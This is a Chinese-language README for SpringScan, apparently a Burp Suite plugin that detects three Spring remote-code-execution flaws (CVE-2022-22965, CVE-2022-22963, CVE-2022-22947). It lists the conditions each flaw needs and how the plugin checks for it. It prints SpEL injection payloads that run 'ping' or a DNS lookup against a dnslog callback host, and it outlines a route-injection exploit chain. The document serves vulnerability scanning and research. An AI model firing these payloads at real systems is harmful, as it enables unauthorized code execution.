SpringScan
Introduction: SpringScan 漏洞检测 Burp 插件
Tags:
支持检测漏洞
- [x] Spring Core RCE (CVE-2022-22965)
- [x] Spring Cloud Function SpEL RCE (CVE-2022-22963)
- [x] Spring Cloud GateWay SPEL RCE (CVE-2022-22947)
回连平台
- [x] Dnglog (默认)
- [x] BurpCollaboratorClient
- [x] Ceye
- [ ] Digpm
- [ ] 支持自定义回连平台
CVE-2022-22965 检测方法
利用条件
- JDK9 及其以上版本;
- 使⽤了 Spring-beans 包;
使⽤了 Spring 参数绑定,参数绑定使⽤的是⾮基本参数类型,如 POJO ;
使用 Tomcat 部署,且日志记录功能开启(默认开启)
因为这个洞上传 shell 还需要准确的 web 路径(默认在 webapps\ROOT),写 ssh 和计划任务也需要 root 权限。实战中用 exp 去检测漏洞不太现实,所以思路转变到使用其他方法去检测漏洞的存在性。主要通过下面两种方式检测:
- 回显检测
- 回连检测(Digpm/BurpCollaboratorClient/Dnglos/Ceye)
详细原理 ➡️ https://www.t00ls.cc/articles-65348.html
检测置信度:
回连检测 > 回显检测
回显检测误报率较大,可能存在漏洞但不能保证 JDK 版本大于等于9,可以及时捕捉到不出网的漏洞;回连检测准确率高,不适用于不出网环境。 推荐在内网的环境只开启回显检测,在公网环境开回显检测和回连检测。
CVE-2022-22963 检测方法
利用条件
- 默认路由
/functionRouter
存在 SpEL 表达式注入
两种检测方法:
- 通过 Java 自带 InetAddres 库:
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("xxx.dnslog.cn")
回连探测(可绕过 WAF 拦截命令执行进行漏洞探测) - 通过执行
ping
命令:spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping xxx.dnslog.cn")
回连探测 - 会扫描当前 URI、以及当前 URI 拼接默认路由
/functionRouter
进行漏洞探测。
CVE-2022-22947 检测方法
- 利用条件
该漏洞为当 Spring Cloud Gateway 启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
检测方法:
- 两种方法判断是否是 SpringGateway:
- 1.随机访问一个不存在的路径,根据特征
Whitelabel Error Page
判断是否是 Spring 框架(1.x/2.x); - 2.直接访问/actuator/gateway/routes、/prod-api/actuator/gateway/routes,根据特征
route_id
判断; - 3.POC 分五个请求:
包含恶意 SpEL 表达式的路由 -> 刷新路由 -> 访问添加的路由查看 RCE 结果 -> 删除路由 -> 刷新路由
插件情况
回显检测 | 回连检测 |
---|---|
Spring Core RCE (CVE-2022-22965) | Spring Core RCE (CVE-2022-22965) |
Spring Cloud GateWay SPEL RCE (CVE-2022-22947) | Spring Cloud Function SpEL RCE (CVE-2022-22963) |
TODO
- [x] 解决扫描结果显示一直等待的问题
- [x] 配置可保存本地
- [ ] 优化 ScannerUI(增加清除按钮、CVE 条目、多个漏洞显示)
- [ ] 新增其他 Spring 漏洞
编译
如需编译其他 JDK 版本,可参考如下方法编译 jar 包:
截图
- 加载插件成功
- 漏洞检测情况
- 报错检测情况
target 模块中可以看到漏洞详情
- 插件设置,检测方法默认全开启,回连平台默认
Dnslog
- 主动扫描:当不希望每个 URL 都做被动扫描时,可以将插件关闭(检测方法正常开启),
右键请求数据包 -> Extensions -> SpringScan -> doScan
即可进行主动扫描:
- 插件配置可保存
免责声明
本工具仅作为安全研究交流,请勿用于非法用途。如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,本人将不承担任何法律及连带责任。